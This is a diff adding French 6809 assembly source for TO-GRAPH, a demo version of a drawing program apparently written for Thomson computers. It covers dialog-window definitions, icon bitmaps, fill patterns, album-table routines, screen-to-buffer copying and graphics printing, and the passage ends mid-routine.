+ FCB FCOMF,FF,OFF
+ FCB FLOCF,1,1,1,16
+ FCB FEDI,ESC,$4E
+ FCC \Copier\
+ FCB 0
+ FCB FPOUSS,$43,OFF
+ FCB FLOCR,2,0,1,16
+ FCB FEDI
+ FCC \Couper\
+ FCB 0
+ FCB FPOUSS,$03,OFF
+ FCB FLOCR,2,0,1,16
+ FCB FEDI
+ FCC \Inverser\
+ FCB 0
+ FCB FPOUSS,$49,OFF
+ FCB FSTOP
+
+
+****************************************
+* M E S S A G E S *
+****************************************
+
+MLIRE FCB ESC,$4E
+ FCC \LIRE\
+ FCB ESC,$4C,0
+MOUT FCC \MEMOIREinsuffisante\
+ FCB 0
+MVFICH FCB ESC,$4E,HT,SS2,$2E
+ FCC \FICHIER\
+ FCB ESC,$4C,0
+MCOMAL FCC \To-graph\
+ FCB 0
+MLIGN1 FCB $B0,$B1,$B2,$B3,0
+MLIGN2 FCB $B4,$B5,$B6,$B7,0
+MLIGN3 FCB $B8,$B9,$BA,$BB,0
+MCN FCB $41,$42,$43,$44,0
+MCDH FCB LF,ESC,TCDH,$41,$42
+ FCB ESC,TCN,0
+MCDL FCB ESC,TCDL,$41,$42,ESC,TCN,0
+MCDT FCB LF,ESC,TCDT,$41,ESC,TCN,0
+MTIRVI FCC \TIROIRVIDE!!!\
+ FCB 0
+
+
+****************************************
+* M O T I F S D E R E M P L I S . *
+****************************************
+
+MOTREM FDB $FFFF,$FFFF,$FFFF,$FFFF
+ FDB $0000,$0000,$0000,$0000
+ FDB $DFDF,$00EE,$00F7,$F700
+ FDB $8488,$5030,$1028,$4782
+ FDB $2078,$CC84,$87CC,$3030
+ FDB $FFFF,$AAFF,$8888,$8888
+ FDB $0880,$2401,$0842,$1042
+ FDB $0242,$D080,$042B,$9A90
+ FDB $6C0E,$093C,$7EA9,$A792
+ FDB $E2F6,$EE4E,$A81F,$BF2E
+ FDB $5ADA,$5B55,$A56B,$6BAA
+ FDB $1CC1,$13CE,$007C,$8300
+ FDB $11AA,$44AA,$11AA,$44AA
+ FDB $AA55,$AA55,$AA55,$AA55
+ FDB $A244,$8A11,$A044,$2A11
+ FDB $1D3C,$9C88,$C5E3,$D188
+ FDB $BB55,$EE55,$BB55,$EE55
+ FDB $1010,$7C82,$0101,$C728
+ FDB $0B0D,$0B0D,$5FAF,$5FAF
+ FDB $41FE,$EEEE,$EF28,$EFFE
+ FDB $8080,$8080,$8080,$80FF
+ FDB $00FF,$00FF,$00FF,$00FF
+ FDB $AAAA,$AAAA,$AAAA,$AAAA
+ FDB $0000,$00FF,$0000,$00FF
+ FDB $8888,$8888,$8888,$8888
+ FDB $8888,$88FF,$8888,$88FF
+ FDB $8844,$2211,$8844,$2211
+ FDB $1122,$4488,$1122,$4488
+ FDB $DDAA,$DDFF,$DDAA,$DDFF
+ FDB $1199,$CC44,$44CC,$9911
+ FDB $663C,$00C3,$663C,$00C3
+ FDB $3E63,$DDD5,$DD61,$3E1C
+ FDB $9942,$2499,$9924,$4299
+ FDB $9966,$6699,$9966,$6699
+
+
+****************************************
+* C A R A C T E R E S U T I L I S . *
+****************************************
+
+CARUSR EQU *
+* icone points
+ FDB $8081,$8090,$8080,$403F
+ FDB $0101,$1501,$0101,$02FC
+ FDB $3F40,$8080,$8280,$9080
+ FDB $FC02,$0111,$0101,$4101
+* icone lignes
+ FDB $8080,$8080,$8080,$403F
+ FDB $8141,$4121,$2111,$02FC
+ FDB $3F40,$8482,$8281,$8180
+ FDB $FC02,$0101,$0101,$0181
+* icone rectangles
+ FDB $9090,$9090,$9F80,$403F
+ FDB $0909,$0909,$F901,$02FC
+ FDB $3F40,$809F,$9090,$9090
+ FDB $FC02,$01F9,$0909,$0909
+* icone carré
+ FDB $9090,$9F80,$8080,$403F
+ FDB $0909,$F901,$0101,$02FC
+ FDB $3F40,$8080,$809F,$9090
+ FDB $FC02,$0101,$01F9,$0909
+* icone ellipse
+ FDB $9090,$888C,$8380,$403F
+ FDB $0909,$1131,$C101,$02FC
+ FDB $3F40,$8083,$8C88,$9090
+ FDB $FC02,$01C1,$3111,$0909
+* icone cercle
+ FDB $9098,$8780,$8080,$403F
+ FDB $0519,$E101,$0101,$02FC
+ FDB $3F40,$8080,$8087,$98A0
+ FDB $FC02,$0101,$01E1,$1905
+* icone caractères
+ FDB $A5BD,$A5A5,$A598,$403F
+ FDB $C929,$2929,$29C7,$C7FC
+ FDB $3F40,$A5A5,$A5A5,$A5A5
+ FDB $FC02,$C729,$2929,$2929
+* icone peinture
+ FDB $8783,$8387,$8783,$403F
+ FDB $F9F9,$F9F9,$F1E1,$02FC
+ FDB $3F40,$8087,$8890,$908F
+ FDB $FC02,$01E1,$1111,$0909
+* icone gomme
+ FDB $8884,$8281,$8080,$403F
+ FDB $9151,$31F1,$0101,$02FC
+ FDB $3F40,$8080,$9F91,$919F
+ FDB $FC02,$0101,$0181,$4121
+* icone loupe
+ FDB $8181,$8181,$8181,$403F
+ FDB $0505,$0505,$05FD,$02FC
+ FDB $3F40,$8098,$8C86,$8381
+ FDB $FC02,$0101,$0101,$01FD
+* icone couper copier
+ FDB $9197,$8181,$8181,$403F
+ FDB $81D9,$8181,$8181,$02FC
+ FDB $3F40,$809B,$8090,$9183
+ FDB $FC02,$0169,$0901,$89C9
+* icone coller
+ FDB $9197,$8181,$8381,$403F
+ FDB $81D9,$8181,$C181,$02FC
+ FDB $3F40,$809B,$8090,$9181
+ FDB $FC02,$0169,$0901,$8989
+* icone lignes taille 1
+ FDB $0101,$0101,$0101,$0100
+ FDB $0000,$0000,$0000,$0000
+ FDB $0001,$0101,$0101,$017F
+ FDB $0000,$0000,$0000,$00FE
+* icone lignes taille 2
+ FDB $7F01,$0101,$0101,$0100
+ FDB $FE80,$8080,$8080,$8000
+ FDB $0001,$0101,$0101,$017F
+ FDB $0080,$8080,$8080,$80FE
+* icone lignes taille 3
+ FDB $7F03,$0303,$0303,$0300
+ FDB $FE80,$8080,$8080,$8000
+ FDB $0003,$0303,$0303,$7F7F
+ FDB $0080,$8080,$8080,$FEFE
+* motif RAZ visu
+ FDB $007E,$4242,$4242,$7E00
+* motif retour
+ FDB $0042,$2418,$4224,$1800
+* motif suite
+ FDB $0018,$2442,$1824,$4200
+* scroll gauche
+ FDB $FF80,$9F89,$8482,$80FF
+ FDB $FF01,$F901,$8141,$01FF
+ FDB $FF81,$BD91,$8981,$81FF
+* scroll droit
+ FDB $FF81,$BD89,$9181,$81FF
+ FDB $FF80,$9F80,$8182,$80FF
+ FDB $FF01,$F991,$2141,$01FF
+* scroll haut
+ FDB $8DA5,$958D,$8581,$81FF
+ FDB $FF81,$8185,$8585,$A595
+ FDB $FF81,$8595,$8D85,$81FF
+* scroll bas
+ FDB $FF81,$858D,$9585,$81FF
+ FDB $95A5,$8585,$8581,$81FF
+ FDB $FF81,$8185,$8D95,$A58D
+
+* Vecteurs vers icones outils
+*---------------------------------------
+
+TMOUTI FDB MPOIN
+ FDB MLIGN
+ FDB MRECT
+ FDB MCARR
+ FDB MELLI
+ FDB MCERC
+ FDB MCARA
+ FDB MPEIN
+ FDB MGOMM
+ FDB MLOUP
+ FDB MCOUC
+ FDB MCOLL
+
+* Vecteurs vers textes tailles car.
+*---------------------------------------
+
+TMMT FDB MCN
+ FDB MCDH
+ FDB MCDL
+ FDB MCDT
+
+* Tortues spécifiques
+*---------------------------------------
+
+TORPT FCC \L0D2L128D1L128U4L0D6\
+ FCC \L128U15L0D6L128U10L64U3\
+ FCC \L0D3L128U9L0D3\
+LTORPT EQU *-TORPT
+
+TORST FCC \L0D2L0U3L0D2\
+ FCC \L64U1L0D1L0U3L0D2\
+ FCC \L64U1L0D1L0U3L0D2\
+ FCC \L64U1L0D1L0U3L0D1\
+LTORST EQU *
+
+TORDH FCC \L0D2L0U3L0D2\
+ FCC \L64U1L0D1L0U11L0D2\
+ FCC \L64U1L0D1L0U3L0D2\
+ FCC \L64U1L0D1L0U11L0D1\
+LTORDH EQU *
+
+TORDL FCC \L0D2L0U11L0D2\
+ FCC \L64U1L0D1L0U3L0D2\
+ FCC \L64U1L0D1L0U11L0D2\
+ FCC \L64U1L0D1L0U3L0D1\
+LTORDL EQU *
+
+TORDT FCC \L0D2L0U11L0D2\
+ FCC \L64U1L0D1L0U11L0D2\
+ FCC \L64U1L0D1L0U11L0D2\
+ FCC \L64U1L0D1L0U11L0D1\
+LTORDT EQU *
+
+TABTOR EQU * table tortue ASCII
+ FDB TORST
+ FCB LTORST-TORST
+ FDB TORDH
+ FCB LTORDH-TORDH
+ FDB TORDL
+ FCB LTORDL-TORDL
+ FDB TORDT
+ FCB LTORDT-TORDT
+
+* Divers
+*---------------------------------------
+
+TBITS FCB 1,2,4,8,16,32,64,128
+TMASQG FDB $FF7F,$3F1F,$0F07,$0301
+TMASQD FDB $80C0,$E0F0,$F8FC,$FEFF
+ASCCOE FCC \1.6396\ coeff.
+ FCB 0 point écran ->
+* point imprimante
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-D1.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-D1.ASM
new file mode 100644
index 0000000..8bac3d8
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-D1.ASM
@@ -0,0 +1,1117 @@
+ TITLE TO-GRAPH: S/P CARTOUCHE
+* ------------------------------
+ PAGE
+
+****************************************
+* *
+* TO-GRAPH *
+* *
+* S/P cartouche *
+* *
+* ATTENTION version demo !!! *
+* *
+* *
+****************************************
+
+
+*=======================================
+* S/P recherche d'un album dans table
+* (création si inexistant)
+* Entrée: X pt nom album
+* Sortie: CY 1 pas de place
+* 0 ok
+* X pt dans table si ok
+*=======================================
+
+XCHALB PSHS D,Y,U
+ LEAS -1,S
+ALBC SET 0
+PD SET 1
+*---------------------------------------
+
+ LBSR XPTALB
+ BCC CHALBF trouvé ->
+
+ TST MAXALB
+ BEQ CHALBR pas de place ->
+ LDU #TABALB
+ CLR ALBC,S
+CHAL1 TST 8,U
+ BMI CHAVID poste vide ->
+ INC ALBC,S
+ LDA ALBC,S
+ CMPA MAXALB
+ BGE CHALBR pas de place ->
+ LEAU 9,U
+ BRA CHAL1 ->
+
+CHAVID LDA #8
+CHAVI0 LDB ,X+
+ STB ,U+
+ DECA
+ BNE CHAVI0 ->
+ NEG ,U marque occupé
+ LEAX -8,U
+ INC NBALB
+CHALBF ANDCC #$FE
+ LEAS 1,S
+ PULS D,Y,U,PC ->>
+CHALBR LDB #7 'out of memory'
+ JSR DOSERR
+ ORCC #$01
+ LEAS 1,S
+ PULS D,Y,U,PC ->>
+
+
+*=======================================
+* S/P saisie d'un album
+*
+* Entrée: A,B coordonnées fenêtre
+* X Pt recepteur nom
+* Sortie: CY 1 Raz
+* 0 ok
+* (X) zone nom rendu
+*=======================================
+
+FCZIAL FCB FLOCF,0,0,11,26
+ FCB FTRAME,FTOURI
+ FCB FLOCF,1,1,5,24
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCF,7,1,3,24
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCF,2,3,1,24
+ FCB FEDI
+ FCC \Nomdel'album:\
+ FCB 0
+ FCB FLOCF,4,16,1,8
+ FCB FTOURE
+ FCB FCZI,255,TEXTE
+
+ FCB FLOCF,8,3,1,24
+ FCB FEDI
+ FCC \OK\
+ FCB BALISE
+ FCC \Annuler\
+ FCB BALISE,0
+ FCB FLOCF,8,6,1,1
+ FCB FPOUSS,RC,OFF
+ FCB FLOCF,8,22,1,1
+ FCB FPOUSS,FF,OFF
+ FCB FSTOP
+
+*---------------------------------------
+XCZIAL PSHS D,X,Y,U
+ LEAS -9,S
+BUF1 SET 0
+PD SET 9
+PX SET 11
+*---------------------------------------
+
+ LEAX FCZIAL,PCR
+ JSR FENOUV
+
+ JSR FENACT sélection
+CZIAL1 JSR FEN
+ TSTB
+ BEQ CZIAL1 ->
+ CMPB #FF
+ BEQ CZIALR raz ->
+ CMPB #RC
+ BEQ CZIALO RC ->
+ BRA CZIAL1 ->
+
+CZIALO LDX PX,S résultat
+ LDB #8
+ LDA #SP
+CZIAO0 STA ,X+
+ DECB
+ BNE CZIAO0 ->
+ LEAX BUF1,S
+ LDB #255
+ JSR FENLCZ
+ LEAX BUF1,S
+ LDY PX,S
+CZIAO1 LDA ,X+
+ BEQ CZIAO2 ->
+ STA ,Y+
+ BRA CZIAO1 ->
+
+CZIAO2 CLRB
+ JSR FENFER
+ JSR FENACT
+ ANDCC #$FE
+ LEAS 9,S
+ PULS D,X,Y,U,PC ->>
+CZIALR CLRB
+ JSR FENFER
+ JSR FENACT
+ ORCC #$01
+ LEAS 9,S
+ PULS D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P raz d'une rectangulaire au point
+*
+* Entrée: XT0,YT0 coord. début
+* XT1,YT1 coord. fin
+*=======================================
+
+XCLRTI LDA #$FF
+ STA FILFLG
+ LDD #PLEIN
+ STD MACP
+ LDU #TRRAZ
+ LBSR COMBK1
+ LDX <XT0
+ STX XXXXXX
+ CLRA
+ LDB <YT0
+ STD YYYYYY
+ LDX <XT1
+ CLRA
+ LDB <YT1
+ TFR D,Y
+ LDB #BOX
+ JSR EXTRA
+ LDU #TRNORM
+ LBSR COMBK1
+ RTS
+
+
+*=======================================
+* S/P ecriture sur fichier
+*
+* Entrée: A car. à ecrire
+* Sortie: CY 0 si ok
+* 1 si erreur (fichier sera
+* fermé !)
+*=======================================
+
+XECRFI PSHS B
+*---------------------------------------
+ LDB #PRINT
+ JSR EXTRA
+ TSTB
+ BNE ECFIR erreur ->
+ ANDCC #$FE
+ PULS B,PC ->>
+
+ECFIR PSHS B
+ LDB #CLOSE # erreur PRINT
+ JSR EXTRA
+ PULS B
+ JSR DOSERR
+ ORCC #$1
+ PULS B,PC ->>
+
+
+*=======================================
+* S/P impression d'un fragment de page
+* limité par CADRNG-CADCOL
+* CADHAU-CADLAR
+* Entrée B interrupteur pleine page
+*=======================================
+
+FFDEMO FCB FLOCF,0,0,10,56
+ FCB FFOND,FTOURE,FCADRE
+
+ FCB FLOCF,1,2,1,56
+ FCB FEDI
+ FCC \Distribution:\
+ FCB 0
+ FCB FLOCF,3,6,1,56
+ FCB FEDI,ESC,$4E
+ FCC \A.S.C.I.\
+ FCB 0
+ FCB FLOCR,2,0,1,56
+ FCB FEDI
+ FCC \365ChemindesMontants\
+ FCB 0
+ FCB FLOCR,2,0,1,56
+ FCB FEDI
+ FCC \54690EULMONT\
+ FCB ESC,$4C,0
+ FCB FSTOP
+
+FFCIMP FCB FLOCF,0,0,11,21
+ FCB FTRAME,FTOURI
+
+ FCB FLOCF,1,1,5,19
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCF,2,3,1,19
+ FCB FEDI
+ FCC \ImprimanteOK?\
+ FCB 0
+ FCB FLOCF,4,3,1,19
+ FCB FEDI
+ FCC \DoublePasse\
+ FCB BALISE,0
+ FCB FLOCF,4,17,1,1
+ FCB FINV,$44,OFF
+
+ FCB FLOCF,7,1,3,19
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCF,8,3,1,19
+ FCB FEDI
+ FCC \OK\
+ FCB BALISE
+ FCC \Annuler\
+ FCB BALISE,0
+ FCB FLOCF,8,6,1,1
+ FCB FPOUSS,RC,OFF
+ FCB FLOCF,8,17,1,1
+ FCB FPOUSS,FF,OFF
+ FCB FSTOP
+
+*---------------------------------------
+XIMPPA PSHS B
+ LEAS -963,S
+FLGPAS SET 0
+MEMBK SET 1
+DBK SET 2
+BUFFER SET 3
+PB SET 963
+*---------------------------------------
+ LDA BANKC
+ STA MEMBK,S
+
+ LDD #$0633
+ LEAX FFCIMP,PCR
+ JSR FENOUV
+
+* Sélection opérateur
+
+IMPC0 JSR FENACT sélection
+IMPC1 JSR FEN
+ TSTB
+ BEQ IMPC1 ->
+ CMPB #FF
+ LBEQ IMPCRZ raz ->
+ CMPB #RC
+ BEQ IMPCOK RC ->
+ BRA IMPC1
+
+IMPCOK JSR FENDES
+ JSR FENCH
+ JSR FENIVD
+
+* V E R S I O N D E M O ! ! ! ! ! !
+
+ LEAX FFDEMO,PCR
+ LDD #$0711
+ JSR FENOUV
+ JSR FENACT
+BFDEM JSR FEN
+ TSTB
+ BNE BFDEMF ->
+ JSR LPIN
+ BCS BFDEMF ->
+ BEQ BFDEMF ->
+ BRA BFDEM ->
+BFDEMF CLRB
+ JSR FENFER
+
+IMPCRZ LDA MEMBK,S
+ STA BANKC
+ LEAS 963,S
+ CLRB
+ JSR FENFER
+ PULS B,PC
+
+
+*=======================================
+* S/P impression d'une ligne graphique
+*
+* Entrée X pt buffer
+* 8 seg. 1er car
+* 8 seg. 2eme car
+* ...
+* A 0 en simple passage
+* #0 en double passage
+* B nb car.
+*=======================================
+
+XIMPLI PSHS D,X,Y,U
+ LEAS -10,S
+BUFV SET 0
+NBSEG SET 8
+PA SET 10
+PB SET 11
+PX SET 12
+*---------------------------------------
+ STB CPTLT
+
+* Codage buffer en colonnes
+BIMPL0 LEAY BUFV,S raz mano
+ LDA #8
+BIMPL1 CLR ,Y+
+ DECA
+ BNE BIMPL1 ->
+
+ LDA #8 colonnes car.
+ STA CPTCT cour. -> mano
+BIMPL2 LDA #8
+ LEAY BUFV,S
+ LDB ,X+
+BIMPL3 LSLB
+ ROR ,Y+
+ DECA
+ BNE BIMPL3 ->
+ DEC CPTCT
+ BNE BIMPL2 ->
+
+ LEAX -8,X buffer recodé
+ LEAY BUFV,S
+ LDA #8
+BIMPL4 LDB ,Y+
+ STB ,X+
+ DECA
+ BNE BIMPL4 ->
+
+ DEC CPTLT
+ BNE BIMPL0 car. suiv ->
+
+* Calcul et codage ASCII nb segment
+* en soustrayant les nuls de droite
+ LDB PB,S
+ LDA #8
+ MUL
+ LDX PX,S
+ LEAX D,X
+LIMPK0 TST ,-X
+ BNE LIMPK1 ->
+ SUBD #1
+ BNE LIMPK0 ->
+LIMPK1 STD NBSEG,S
+ LBEQ LIMPL3 rien ->
+
+ LEAX BUFV,S
+ LDY #3
+ JSR BINDCD
+ LDA #3
+ LEAX BUFV,S
+BIMPL5 LDB ,X+
+ CMPB #$20
+ BNE LIMPL0 ->
+ ADDB #$10
+ STB -1,X
+ DECA
+ BNE BIMPL5 ->
+
+LIMPL0 LDB #ESC édition graphiq.
+ JSR RSCO
+ LDB #$47
+ LDA PA,S
+ BEQ LIMPL1
+ ADDB #2
+LIMPL1 JSR RSCO
+
+ LEAX BUFV,S
+ LDA #3
+BIMPL6 LDB ,X+
+ JSR RSCO
+ DECA
+ BNE BIMPL6 ->
+
+ LDX PX,S
+ LDY NBSEG,S
+
+ LDA PA,S
+ BNE BIMPL8 double ->
+
+BIMPL7 LDB ,X+ simple
+ JSR RSCO
+ LEAY -1,Y
+ BNE BIMPL7 ->
+ BRA LIMPL3 ->
+
+BIMPL8 LDA ,X+ double/1er oct.
+ CLRB
+ LSRA
+ RORB
+ LSRB
+ LSRA
+ RORB
+ LSRB
+ LSRA
+ RORB
+ LSRB
+ LSRA
+ RORB
+ STB BUFV,S
+ LSRB
+ ORB BUFV,S
+ JSR RSCO
+* double/1er oct.
+ CLRB
+ LSRA
+ RORB
+ LSRB
+ LSRA
+ RORB
+ LSRB
+ LSRA
+ RORB
+ LSRB
+ LSRA
+ RORB
+ STB BUFV,S
+ LSRB
+ ORB BUFV,S
+ JSR RSCO
+ LEAY -1,Y
+ BNE BIMPL8 ->
+
+LIMPL3 LDB #LF lig. suiv
+ JSR RSCO
+
+ LEAS 10,S
+ PULS D,X,Y,U,PC
+
+
+*=======================================
+* S/P lecture sur le fichier courant
+*
+* Sortie: A car. lu si ok
+* CY 0 si ok
+* 1 si pb -> erreur traitée
+* fichier fermé
+*=======================================
+
+XLECFI PSHS B
+*---------------------------------------
+ LDB #INPUT
+ JSR EXTRA
+ TSTB
+ BNE LEFIFR erreur ->
+ LDB #78 'bad picture'
+ TST EOFFLG si eof !
+ BNE LEFIFR ->
+ LDA CARCOU
+ ANDCC #$FE
+ PULS B,PC ->>
+
+LEFIFR JSR DOSERR
+ LDB #CLOSE
+ JSR EXTRA
+ ORCC #1
+ PULS B,PC
+
+
+*=======================================
+* S/P lecture écran -> tiroir
+*
+* Entrée XT0,YT0 coord. début
+* XT1,YT1 coord. fin
+*=======================================
+
+TMAQG2 FDB $FF7F,$3F1F,$0F07,$0301
+TMAQD2 FDB $80C0,$E0F0,$F8FC,$FEFF
+
+XLITTI EQU *
+*---------------------------------------
+ LDA #1 note tiroir ok
+ STA <FLGTIR
+
+* calcul des dimensions points
+ LDD <XT1
+ SUBD <XT0
+ ADDD #1
+ STD <LPTTIR
+ LDA <YT1
+ SUBA <YT0
+ INCA
+ STA <HPTTIR
+
+* calcul des dimensions segment
+* Nb: le tiroir est augmenté de 1
+* en largeur à cause décalages
+* ultérieurs
+ LDD <XT0
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ STB <COLT0
+ LDD <XT1
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ INCB +1 sur largeur
+ STB <COLT1
+ SUBB <COLT0
+ INCB
+ STB <LARTIR
+ LDD <XT0
+ ANDB #$07
+ STB <DECTIR décal. bit/seg.
+
+* calcul des référence 1er segment
+* (page écran et adresse
+ LDA $E7C3
+ ANDA #$FE
+ LDB <COLT0
+ LSRB
+ BCS XDCC2 ->
+ ORA #$01
+XDCC2 STA <PRE7C3
+ LDA <YT0
+ LDB #40
+ MUL
+ ADDD #$4000
+ STD <ADPRSG
+ CLRA
+ LDB <COLT0
+ LSRB
+ ADDD <ADPRSG
+ STD <ADPRSG
+
+* calcul des nb de seg. sur page
+* du 1er et sur l'autre
+ LDA <LARTIR
+ LSRA
+ STA <NBSEG1
+ STA <NBSEG2
+ BCC XDCC3 ->
+ INC <NBSEG1
+
+* acquisition des seg. 1ère page
+XDCC3 LDA <PRE7C3
+ STA $E7C3
+ LDA <HPTTIR
+ STA <CPTLT
+ LDU <ADPRSG
+ STU <ADPRSL
+ LDX #ZONTRA
+ TFR X,Y Y=ad 1ère lign
+XDCC10 LDA <NBSEG1
+XDCC11 LDB ,U+
+ STB ,X++
+ DECA
+ BNE XDCC11 ->
+ TFR Y,X
+ LDB <LARTIR
+ ABX
+ TFR X,Y
+ LDU <ADPRSL
+ LEAU 40,U
+ STU <ADPRSL
+ DEC <CPTLT
+ BNE XDCC10 ->
+
+* acquisition des seg. 2ème page
+ LDA $E7C3
+ EORA #$01
+ STA $E7C3
+ LDA <HPTTIR
+ STA <CPTLT
+ CLRA
+ LDB <PRE7C3
+ ANDB #1
+ EORB #1
+ ADDD <ADPRSG
+ STD <ADPRSL
+ TFR D,U
+ LDX #ZONTRA+1
+ TFR X,Y Y=ad 1ère lign
+XDCC20 LDA <NBSEG2
+XDCC21 LDB ,U+
+ STB ,X++
+ DECA
+ BNE XDCC21 ->
+ TFR Y,X
+ LDB <LARTIR
+ ABX
+ TFR X,Y
+ LDU <ADPRSL
+ LEAU 40,U
+ STU <ADPRSL
+ DEC <CPTLT
+ BNE XDCC20 ->
+
+* mise à zéro des bits hors tiroir
+* à gauche
+ LEAX TMAQG2,PCR
+ LDA <DECTIR
+ BEQ RZDT ->
+ LDA A,X
+ STA <CPTCT
+ LDA <HPTTIR
+ LDX #ZONTRA
+BRGT LDB ,X
+ ANDB <CPTCT
+ STB ,X
+ LDB <LARTIR
+ ABX
+ DECA
+ BNE BRGT ->
+
+* mise à zéro des bits hors tiroir
+* à droite
+RZDT LDD <XT1
+ ANDB #7
+ CMPB #7
+ BEQ RZDD ->
+ LEAX TMAQD2,PCR
+ LDA B,X
+ STA <CPTCT
+ LDA <HPTTIR
+ LDX #ZONTRA
+ LDB <LARTIR
+ ABX
+ LEAX -2,X
+BRDT LDB ,X
+ ANDB <CPTCT
+ STB ,X
+ LDB <LARTIR
+ ABX
+ DECA
+ BNE BRDT ->
+
+* mise à zéro du segment supplé-
+* mentaire pour décalage
+RZDD LDA <HPTTIR
+ LDX #ZONTRA
+ LDB <LARTIR
+ ABX
+ LEAX -1,X
+BRDD CLR ,X
+ LDB <LARTIR
+ ABX
+ DECA
+ BNE BRDD ->
+ RTS
+
+
+*=======================================
+* S/P Lecture d'un bit sur le tiroir
+*
+* Entrée: X coord. dans tiroir
+* CPTLT
+* Sortie: Z bit nul ou non
+*=======================================
+
+TEXTBL FDB $8040,$2010,$0804,$0201
+
+XLECTX PSHS X
+PX SET 0
+*---------------------------------------
+ LDU #$A000
+ LDA <CPTLT
+ LDB <LARTIR
+ MUL
+ LEAU D,U
+ TFR X,D
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ LDB D,U
+ LDA PX+1,S
+ ANDA #7
+ LEAX TEXTBL,PCR
+ ANDB A,X
+ PULS X,PC
+
+
+*=======================================
+* S/P pointage d'un album dans table
+*
+* Entrée: X pt nom album
+* Sortie: CY 1 pas trouvé
+* 0 ok
+* X pt dans table si ok
+* non modifié sinon
+*=======================================
+
+XPTALB PSHS D,X,Y,U
+ LEAS -1,S
+ALBC SET 0
+PD SET 1
+PX SET 3
+*---------------------------------------
+
+ TST MAXALB
+ BEQ PTALER ->
+
+ LDU #TABALB
+ CLR ALBC,S
+PTAL1 TST 8,U
+ BMI PTAVID poste vide ->
+ LDX PX,S
+ TFR U,Y
+ LDA #8
+PTAL2 LDB ,X+
+ CMPB ,Y+
+ BNE PTAL3 différent ->
+ DECA
+ BNE PTAL2 ->
+ BRA PTALOK trouvé ->
+PTAL3 INC ALBC,S
+ LDA ALBC,S
+ CMPA MAXALB
+ BGE PTALER fini ->
+PTAVID LEAU 9,U
+ BRA PTAL1 ->
+
+PTALOK STU PX,S
+ ANDCC #$FE
+ LEAS 1,S
+ PULS D,X,Y,U,PC ->>
+PTALER ORCC #$01
+ LEAS 1,S
+ PULS D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P sélection d'un album préexistant
+*
+* Entrée: A,B coordonnées fenêtre
+* X =0 => visu seule
+* =-1 => sélection
+* Y nb niv. à remonter si ok
+* (aucun si <0 )
+* Sortie: CY 1 Raz ou pas d'album
+* 0 ok
+* X pt dans table si ok
+*=======================================
+
+FFELAL FCB FLOCF,0,0,13,44
+ FCB FTRAME,FTOURI
+ FCB FCOMF,FF,OFF
+ FCB FLOCF,1,1,1,42
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCF,1,15,1,42
+ FCB FEDI,ESC,$4E
+ FCC \ALBUMS\
+ FCB ESC,$4C,0
+ FCB FLOCF,3,1,9,42
+ FCB FFOND,FTOURE,FCADRE
+
+ FCB FLOCF,4,3,1,8
+ FCB FPOUSS,200,INTERD
+ FCB FLOCF,4,13,1,8
+ FCB FPOUSS,201,INTERD
+ FCB FLOCF,4,23,1,8
+ FCB FPOUSS,202,INTERD
+ FCB FLOCF,4,33,1,8
+ FCB FPOUSS,203,INTERD
+
+ FCB FLOCF,6,3,1,8
+ FCB FPOUSS,204,INTERD
+ FCB FLOCF,6,13,1,8
+ FCB FPOUSS,205,INTERD
+ FCB FLOCF,6,23,1,8
+ FCB FPOUSS,206,INTERD
+ FCB FLOCF,6,33,1,8
+ FCB FPOUSS,207,INTERD
+
+ FCB FLOCF,8,3,1,8
+ FCB FPOUSS,208,INTERD
+ FCB FLOCF,8,13,1,8
+ FCB FPOUSS,209,INTERD
+ FCB FLOCF,8,23,1,8
+ FCB FPOUSS,210,INTERD
+ FCB FLOCF,8,33,1,8
+ FCB FPOUSS,211,INTERD
+
+ FCB FLOCF,10,3,1,8
+ FCB FPOUSS,212,INTERD
+ FCB FLOCF,10,13,1,8
+ FCB FPOUSS,213,INTERD
+ FCB FLOCF,10,23,1,8
+ FCB FPOUSS,214,INTERD
+ FCB FLOCF,10,33,1,8
+ FCB FPOUSS,215,INTERD
+ FCB FSTOP
+
+MPASAL FCC \PASD'ALBUM\
+ FCB 0
+
+*---------------------------------------
+XSELAL PSHS D,X,Y,U
+ LEAS -2,S
+ALBC SET 0
+ALBOK SET 1
+PD SET 2
+PX SET 4
+PYL SET 7
+*---------------------------------------
+
+ TST NBALB
+ BNE SELAL0 ->
+ LEAX MPASAL,PCR
+ JSR FENERR
+ LBRA SELALF ->
+SELAL0 LEAX FFELAL,PCR
+ LDD PD,S
+ JSR FENOUV
+
+ CLR ALBC,S visu albums
+ CLR ALBOK,S
+ LDU #TABALB
+SELAL1 TST 8,U
+ BMI ALVID ->
+ LDB ALBOK,S poste occupé
+ ADDB #200
+ JSR FENCH
+ TST PX,S
+ BEQ SELALV visu seule ->
+ LDA #OFF
+ STA VAL,X
+SELALV LDA #8
+SELAL2 LDB ,U+
+ JSR FENPUT
+ DECA
+ BNE SELAL2 ->
+ LEAU 1,U
+ INC ALBOK,S
+SELAL3 INC ALBC,S
+ LDA ALBC,S
+ CMPA #16
+ BGE SELAL4 fini ->
+ BRA SELAL1 ->
+ALVID LEAU 9,U
+ BRA SELAL3 ->
+
+SELAL4 JSR FENACT sélection
+SELAL5 JSR FEN
+ TSTB
+ BEQ SELAL5 ->
+ CMPB #FF
+ BEQ SELALR raz ->
+ TST PX,S
+ BEQ SELAL5 visu seule ->
+ SUBB #200
+ BMI SELAL5 ->
+ CMPB ALBOK,S
+ BGE SELAL5 ->
+
+* Album sélectionné
+ INCB
+ LDX #TABALB
+SELAL6 TST 8,X
+ BMI SELAL7 ->
+ DECB
+ BEQ FSELAL pointé ->
+SELAL7 LEAX 9,X
+ BRA SELAL6 ->
+
+FSELAL STX PX,S
+ LDB PYL,S
+ BMI SELALZ dépile par appel
+ JSR FENFER .lant
+ JSR FENACT
+SELALZ ANDCC #$FE
+ LEAS 2,S
+ PULS D,X,Y,U,PC ->>
+SELALR CLRB
